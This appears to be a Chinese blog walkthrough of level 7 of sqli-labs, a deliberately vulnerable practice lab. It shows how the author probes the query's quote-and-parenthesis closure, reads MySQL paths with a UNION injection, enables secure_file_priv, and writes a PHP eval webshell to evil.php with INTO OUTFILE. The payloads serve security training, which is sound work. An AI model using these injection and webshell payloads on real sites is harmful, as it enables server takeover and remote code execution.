第七关:

输入?id=1 页面显示如下,可以看出这关大概是锻炼利用sql来写入一句话木马。

sqli-labs(四)

这里说我下我的探测流程(主要是为了知道后台的sql是怎样拼凑的):

输入?id=1' 报错  说明后台是用的单引符号进行的拼凑

输入?id=1'%23还是报错

输入?id=1')%23还是报错

输入?id=1'))%23 页面ok了,说明后台需要闭合两个括号,看后台实现

sqli-labs(四)

 

同时也可以看到这里报错信息是被注释掉了,也就是说查询不出结果了,报错联合查询和报错查询(以及双查询注入),只能使用盲注。但这关的重点不在这里,我们后面的关卡中会用到盲注的。这关主要是讲如何利用sql写入一句话。

第一步:

由于写入文件需要网站的物理路径(也就是绝对路径),这里需要先从其他关卡中获取路径(实际渗透过程中可以通过报错或其他情况获取路径)。

这里介绍两个mysql的内置变量 @@datadir 读取数据库的路径,@@basedir 读取数据库安装路径id

这里先从第一关中获取路径,输入

 ?id=-1'union%20select%201,@@datadir,@@basedir%23

 sqli-labs(四)

这里将一句话写入D:\phpstudy\PHPTutorial\下
开始写入的时候一直不成功,后来把报错信息打在页面上才发现mysql的配置信息中没有设置secure_file_priv,默认为null,代表不能导入文件
sqli-labs(四)

在my.ini中配置secure_file_priv=''即可,值得注意的是路径的\需要转义也就是\\。

第二步:输入一句话到evil.php中

?id=1')) union%20select%201,2,'<?php @eval($_GET["a"]); ?>'%20into%20outfile%20'D:\\phpstudy\\PHPTutorial\\evil.php'%20%23

sqli-labs(四)

 

这里代码执行成功了,之所以显示You have an error in your SQL syntax 是和程序有关,查询的行数为0时,会显示这句话,实际上sql并没有报错。

看后台,成功生成了一句话木马。

sqli-labs(四)

 

 第三步:访问一句话

sqli-labs(四)

 

相关文章:

  • 2021-09-30
  • 2021-10-22
  • 2021-08-22
  • 2021-05-24
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
猜你喜欢
  • 2021-09-07
  • 2021-09-08
  • 2021-09-27
  • 2022-01-20
  • 2021-05-07
  • 2021-08-23
  • 2022-01-02
相关资源
相似解决方案